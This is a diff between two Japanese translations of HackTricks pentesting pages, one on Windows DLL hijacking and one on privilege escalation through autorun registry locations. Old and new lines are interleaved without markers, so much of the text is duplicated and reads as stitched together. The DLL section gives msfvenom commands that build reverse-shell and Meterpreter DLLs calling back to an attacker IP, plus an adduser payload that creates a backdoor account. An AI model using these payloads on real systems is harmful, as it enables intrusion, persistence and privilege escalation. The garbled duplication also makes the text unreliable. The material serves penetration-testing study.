一般的に、**Windowsアプリケーション**は、DLLを見つけるために**事前に定義された検索パス**を使用し、特定の順序でこれらのパスをチェックします。 DLLのハイジャックは、通常、悪意のあるDLLをこれらのフォルダの1つに配置し、そのDLLが正当なDLLよりも先に見つかるようにします。この問題は、アプリケーションが必要なDLLに絶対パスを指定することで緩和することができます。
|
||||
|
||||
以下は、32ビットシステムでのDLLの検索順序です。
|
||||
|
||||
1. アプリケーションがロードされたディレクトリ。
|
||||
2. システムディレクトリ。このディレクトリのパスを取得するには、[**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya)関数を使用します。(_C:\Windows\System32_)
|
||||
3. 16ビットシステムディレクトリ。このディレクトリのパスを取得する関数はありませんが、検索されます。(_C:\Windows\System_)
|
||||
4. Windowsディレクトリ。[**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya)関数を使用して、このディレクトリのパスを取得します。(_C:\Windows_)
|
||||
4. Windowsディレクトリ。このディレクトリのパスを取得するには、[**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya)関数を使用します。(_C:\Windows_)
|
||||
5. 現在のディレクトリ。
|
||||
6. PATH環境変数にリストされているディレクトリ。ただし、これには**App Paths**レジストリキーで指定されたアプリケーションごとのパスは含まれません。**App Paths**キーは、DLLの検索パスを計算する際には使用されません。
|
||||
6. PATH環境変数にリストされているディレクトリ。ただし、これには**App Paths**レジストリキーで指定されたアプリケーションごとのパスは含まれません。**App Paths**キーは、DLLの検索パスの計算時には使用されません。
|
||||
|
||||
これが**デフォルト**の検索順序で、**SafeDllSearchMode**が有効になっています。無効にするには、**HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode**レジストリ値を作成し、0に設定します(デフォルトは有効です)。
|
||||
|
||||
[**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa)関数が**LOAD\_WITH\_ALTERED\_SEARCH\_PATH**で呼び出される場合、検索は**LoadLibraryEx**がロードしている実行可能モジュールのディレクトリから開始されます。
|
||||
|
||||
最後に、**dllは名前だけでなく絶対パスを指定してロードすることもできます**。その場合、そのdllはそのパスでのみ検索されます(dllに依存関係がある場合、名前でロードされたときと同様に検索されます)。
|
||||
最後に、**dllは名前だけでなく絶対パスを指定してロードすることもできます**。その場合、そのdllは**そのパスだけで検索されます**(dllに依存関係がある場合、名前でロードされたときと同様に検索されます)。
|
||||
|
||||
検索順序を変更する他の方法もありますが、ここでは説明しません。
|
||||
|
||||
|
@ -84,13 +84,12 @@ Dllハイジャッキングは、**コードの実行**、**永続性の確保**
|
|||
|
||||
**前提条件**:
|
||||
|
||||
* **他の特権で実行されるプロセス**(水平/横方向の移動)を見つける(実行される)。
|
||||
* **dllが不足している**フォルダに**書き込み権限**を持つ(おそらく実行可能なディレクトリまたはシステムパス内のフォルダ)。
|
||||
* 特権のあるプロセスを見つける(水平/横方向の移動)ことができる**別の特権で実行されるプロセス**を見つける。
|
||||
* dllが**存在しない**フォルダ(おそらく実行可能ファイルのディレクトリまたはシステムパス内のフォルダ)に書き込むための**書き込み権限**を持つ。
|
||||
|
||||
はい、前提条件は複雑で見つけるのが難しいです。**デフォルトでは特権のある実行可能ファイルがdllが不足しているのは奇妙**であり、**システムパスのフォルダに書き込み権限を持つのはさらに奇妙**です(デフォルトではできません)。しかし、設定が誤っている環境では、これが可能です。\
|
||||
もし要件を満たす幸運がある場合は、[UACME](https://github.com/hfiref0x/UACME)プロジェクトをチェックしてみてください。このプロジェクトの**主な目標はUACのバイパス**ですが、おそらく書き込み権限を持つフォルダのパスを変更するだけで使用できるWindowsバージョンのDllハイジャックのPoCを見つけることができます。
|
||||
はい、前提条件は複雑で見つけるのが難しいです。**デフォルトでは特権のある実行可能ファイルがdllがない**状態になることは奇妙であり、**システムパスのフォルダに書き込み権限を持つ**ことはさらに奇妙です(デフォルトではできません)。しかし、設定が誤っている環境では、これが可能です。もし要件を満たす幸運がある場合は、[UACME](https://github.com/hfiref0x/UACME)プロジェクトをチェックしてみてください。このプロジェクトの**主な目標はUACのバイパス**ですが、おそらく書き込み権限を持つフォルダのパスを変更するだけで使用できるWindowsバージョンのDllハイジャックのPoCを見つけることができます。
|
||||
|
||||
フォルダの**アクセス権限を確認する**には、次のコマンドを実行します:
|
||||
なお、フォルダの権限を確認するには、次のコマンドを実行します:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
|
@ -125,26 +124,26 @@ dumpbin /export /path/file.dll
|
|||
### 例
|
||||
|
||||
攻撃可能なシナリオを見つけた場合、それを成功裏に悪用するために最も重要なことの一つは、**実行可能ファイルがインポートするすべての関数を少なくともエクスポートするdllを作成する**ことです。ただし、Dllハイジャッキングは、[中間完全性レベルから高いレベルにエスカレートするために(UACをバイパスするために)](../authentication-credentials-uac-and-efs.md#uac)または[高い完全性からSYSTEMにエスカレートするために](./#from-high-integrity-to-system)**便利です。** Windowsでdllハイジャッキングを実行するためのこのdllハイジャッキングの研究には、有効なdllを作成する方法の例があります:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
さらに、**次のセクション**では、**テンプレート**として役立つ可能性のあるいくつかの**基本的なdllコード**を見つけることができます。
|
||||
さらに、**次のセクション**では、**テンプレートとして役立つ基本的なdllコード**または**必要ない関数がエクスポートされたdllを作成する**ために役立ついくつかのコードを見つけることができます。
|
||||
|
||||
## **Dllの作成とコンパイル**
|
||||
|
||||
### **Dllプロキシ化**
|
||||
|
||||
基本的に、**Dllプロキシ**は、**ロードされたときに悪意のあるコードを実行**することができるDllであり、また、**実際のライブラリにすべての呼び出しを中継**することで、**期待どおりに公開**および**動作**することができます。
|
||||
基本的に、**Dllプロキシ**は、**ロードされたときに悪意のあるコードを実行**することができるDllであり、また、**実際のライブラリにすべての呼び出しを中継して**、**期待どおりに公開**および**動作**することができます。
|
||||
|
||||
ツール\*\*\*\*[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)\*\*\*\*または\*\*\*\*[**Spartacus**](https://github.com/Accenture/Spartacus)\*\*\*\*を使用すると、実際のライブラリを指定して実行可能ファイルを選択し、プロキシ化されたdllを生成するか、Dllを指定してプロキシ化されたdllを生成することができます。
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
**Revシェルを取得(x64):**
|
||||
**rev shellを取得(x64):**
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**メータープリターの取得(x86):**
|
||||
|
||||
```plaintext
|
||||
1. Metasploitフレームワークを使用して、ターゲットマシンにメータープリターをインストールします。
|
||||
1. Metasploitフレームワークを使用して、ターゲットマシンにメータープリターをデプロイします。
|
||||
|
||||
2. Metasploitコンソールを開き、以下のコマンドを実行します。
|
||||
|
||||
|
@ -158,18 +157,11 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll
|
|||
|
||||
`<attacker IP>`と`<attacker port>`を攻撃者のIPアドレスとポートに置き換えてください。
|
||||
|
||||
3. ターゲットマシンで、メータープリターを実行するために、以下の手順を実行します。
|
||||
3. ターゲットマシンで、メータープリターを実行するために誘導する方法が必要です。DLLハイジャック攻撃を使用して、ターゲットマシン上のアプリケーションが攻撃者が用意したDLLを読み込むようにします。
|
||||
|
||||
- メータープリターを実行するためのDLLファイルを作成します。例えば、`evil.dll`という名前のファイルを作成します。
|
||||
4. ターゲットマシン上の脆弱なアプリケーションを特定し、攻撃者が用意したDLLを読み込むように設定します。
|
||||
|
||||
- ターゲットマシン上のアプリケーションのディレクトリに`evil.dll`を配置します。
|
||||
|
||||
- ターゲットマシンでアプリケーションを実行します。このとき、`evil.dll`が読み込まれるようにします。
|
||||
|
||||
4. Metasploitコンソールで、メータープリターが接続されるのを待ちます。
|
||||
|
||||
5. メータープリターが接続されたら、ターゲットマシンに対して様々な特権昇格攻撃を実行することができます。
|
||||
```
|
||||
5. メータープリターが成功裏に取得されると、攻撃者はターゲットマシン上で権限昇格や他の攻撃を実行することができます。
|
||||
```
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
|
@ -180,7 +172,7 @@ msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
|||
```
|
||||
### あなた自身の
|
||||
|
||||
注意してください。いくつかの場合、コンパイルしたDllは、被害者プロセスによってロードされる複数の関数を**エクスポートする必要があります**。これらの関数が存在しない場合、**バイナリはロードできず**、**攻撃は失敗します**。
|
||||
注意してください、いくつかの場合、コンパイルしたDllは、被害者プロセスによってロードされる**複数の関数をエクスポートする必要があります**。これらの関数が存在しない場合、**バイナリはロードできず、攻撃は失敗します**。
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
|
@ -261,7 +253,7 @@ break;
|
|||
return TRUE;
|
||||
}
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).
|
||||
|
||||
|
|
|
@ -1,26 +1,26 @@
|
|||
# Autorunsを使用した特権エスカレーション
|
||||
# Autorunバイナリを使用した特権エスカレーション
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、アンハッカブルをハックしたいのであれば、**採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合 - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## WMIC
|
||||
|
||||
**Wmic**は、**起動時**にプログラムを実行するために使用することができます。次のコマンドで、起動時にプログラムが設定されているバイナリを確認できます:
|
||||
**Wmic**は、**起動時**にプログラムを実行するために使用できます。次のコマンドで、起動時にプログラムが設定されているバイナリを確認できます。
|
||||
```bash
|
||||
wmic startup get caption,command 2>nul & ^
|
||||
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
|
||||
|
@ -253,7 +253,7 @@ Active Setupはデスクトップが表示される前に実行されます。Ac
|
|||
* これは、Active Setupがログオン時にこのコンポーネントを実行する必要があると判断した場合に実行されるコマンドです。
|
||||
|
||||
{% hint style="info" %}
|
||||
_**IsInstalled == "1"**_ である任意のキーの **StubPath** を書き換えることができれば、それをバックドアに指定して特権をエスカレーションさせることができます。また、**StubPath** キーが指す任意の **バイナリ** を上書きすることができれば、特権をエスカレーションさせることができます。
|
||||
_**IsInstalled == "1"**_ である任意のキーの **StubPath** を書き換えることができれば、それをバックドアに指定して特権を昇格させることができます。また、**StubPath** キーが指す任意の **バイナリ** を上書きすることができれば、特権を昇格させることができます。
|
||||
{% endhint %}
|
||||
```bash
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
|
||||
|
@ -266,21 +266,21 @@ reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components
|
|||
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
|
||||
* `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
|
||||
|
||||
**ブラウザヘルパーオブジェクト**(**BHO**)は、MicrosoftのInternet Explorerウェブブラウザのプラグインとして追加機能を提供するために設計されたDLLモジュールです。これらのモジュールは、Internet Explorerの新しいインスタンスごとおよびWindows Explorerの新しいインスタンスごとに実行されます。ただし、BHOは、キー**NoExplorer**を1に設定することで、各Explorerのインスタンスでの実行を防止することができます。
|
||||
**ブラウザヘルパーオブジェクト**(**BHO**)は、MicrosoftのInternet Explorerウェブブラウザのプラグインとして追加機能を提供するために設計されたDLLモジュールです。これらのモジュールは、Internet Explorerの各新しいインスタンスとWindows Explorerの各新しいインスタンスごとに実行されます。ただし、BHOは、キー**NoExplorer**を1に設定することで、各インスタンスのExplorerでの実行を防止することができます。
|
||||
|
||||
BHOは、Windows 10のInternet Explorer 11までサポートされていますが、デフォルトのWebブラウザであるMicrosoft EdgeではBHOはサポートされていません。
|
||||
```bash
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
|
||||
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
|
||||
```
|
||||
注意してください。レジストリには、各dllごとに1つの新しいレジストリが含まれ、それは**CLSID**によって表されます。CLSIDの情報は`HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}`で見つけることができます。
|
||||
注意:レジストリには、各DLLごとに1つの新しいレジストリが含まれており、それは**CLSID**によって表されます。CLSIDの情報は、`HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}`で見つけることができます。
|
||||
|
||||
### インターネットエクスプローラーの拡張機能
|
||||
### Internet Explorerの拡張機能
|
||||
|
||||
* `HKLM\Software\Microsoft\Internet Explorer\Extensions`
|
||||
* `HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions`
|
||||
|
||||
注意してください。レジストリには、各dllごとに1つの新しいレジストリが含まれ、それは**CLSID**によって表されます。CLSIDの情報は`HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}`で見つけることができます。
|
||||
注意:レジストリには、各DLLごとに1つの新しいレジストリが含まれており、それは**CLSID**によって表されます。CLSIDの情報は、`HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}`で見つけることができます。
|
||||
|
||||
### フォントドライバ
|
||||
|
||||
|
@ -304,25 +304,23 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\she
|
|||
```
|
||||
### Image File Execution Options
|
||||
|
||||
Image File Execution Options(IFEO)は、Windowsオペレーティングシステムで実行されるプロセスの動作をカスタマイズするための機能です。IFEOは、デバッグ用途で開発者が使用することを意図していますが、悪意のある目的で利用されることもあります。
|
||||
Image File Execution Options(IFEO)は、Windowsオペレーティングシステムで実行されるプロセスの動作を変更するための機能です。IFEOは、デバッグ用途で開発者が使用することを意図していますが、悪意のある目的で利用されることもあります。
|
||||
|
||||
IFEOを悪用すると、特権昇格攻撃を実行することができます。攻撃者は、IFEOを使用してシステム上で実行されるプロセスを置き換えることができます。これにより、攻撃者は特権レベルのプロセスを実行し、システムに対する完全な制御を取得することができます。
|
||||
IFEOを悪用すると、特権昇格攻撃を実行することができます。攻撃者は、IFEOを使用してシステム上で実行されるプロセスを変更し、特権のあるプロセスとして実行することができます。
|
||||
|
||||
IFEOを使用した特権昇格攻撃は、次の手順で実行されます。
|
||||
IFEOを使用した特権昇格攻撃の手法の一つは、既存の実行可能ファイルにIFEOエントリを作成することです。このエントリには、攻撃者が実行したいプロセスのパスと、そのプロセスを実行するためのデバッガのパスが指定されます。その結果、攻撃者が指定したプロセスが実行される際に、デバッガが同時に起動されます。
|
||||
|
||||
1. 攻撃者は、IFEOに登録されているプロセスを特定します。
|
||||
2. 攻撃者は、IFEOに登録されているプロセスの実行ファイルを悪意のあるプログラムに置き換えます。
|
||||
3. システムがIFEOに登録されたプロセスを実行すると、攻撃者の悪意のあるプログラムが実行されます。
|
||||
4. 攻撃者の悪意のあるプログラムは、特権レベルのアクセス権を持つため、攻撃者はシステムに対する完全な制御を取得することができます。
|
||||
攻撃者は、デバッガとして任意のプログラムを指定することができます。このプログラムは、攻撃者が特権のある操作を実行するために使用することができます。たとえば、システムレジストリの変更や、特権のあるファイルへのアクセスなどが考えられます。
|
||||
|
||||
IFEOを悪用した攻撃を防ぐためには、次の対策を実施することが重要です。
|
||||
IFEOを悪用した特権昇格攻撃は、システムのセキュリティを脅かす重大な問題です。攻撃者は、システム上で特権のある操作を実行することができ、システム全体を乗っ取る可能性があります。
|
||||
|
||||
- IFEOに登録されているプロセスを監視し、不正な変更がないか定期的に確認します。
|
||||
- IFEOに登録されているプロセスの実行ファイルのパスを制限します。
|
||||
- IFEOに登録されているプロセスの実行権限を制限します。
|
||||
- セキュリティソフトウェアを使用して、IFEOの変更を監視し、悪意のある変更を検出します。
|
||||
IFEOを悪用した攻撃からシステムを保護するためには、以下の対策を実施することが重要です。
|
||||
|
||||
IFEOを悪用した特権昇格攻撃は、システムのセキュリティを脅かす重大な脆弱性です。適切な対策を実施することで、この攻撃からシステムを保護することができます。
|
||||
- 不要なIFEOエントリを削除する
|
||||
- IFEOエントリの変更を監視する
|
||||
- セキュリティソフトウェアを使用してIFEOの悪用を検出する
|
||||
|
||||
これらの対策を実施することで、IFEOを悪用した特権昇格攻撃からシステムを保護することができます。
|
||||
```
|
||||
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
|
||||
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
|
||||
|
@ -335,7 +333,7 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
|
|||
```
|
||||
## もっと
|
||||
|
||||
[https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)でレジストリのようなAutorunsを見つけることができます。
|
||||
[https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)で、レジストリのようなAutorunsをさらに見つけることができます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -343,9 +341,9 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
|
|||
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
|
||||
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
もし興味があるなら、**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -353,10 +351,10 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|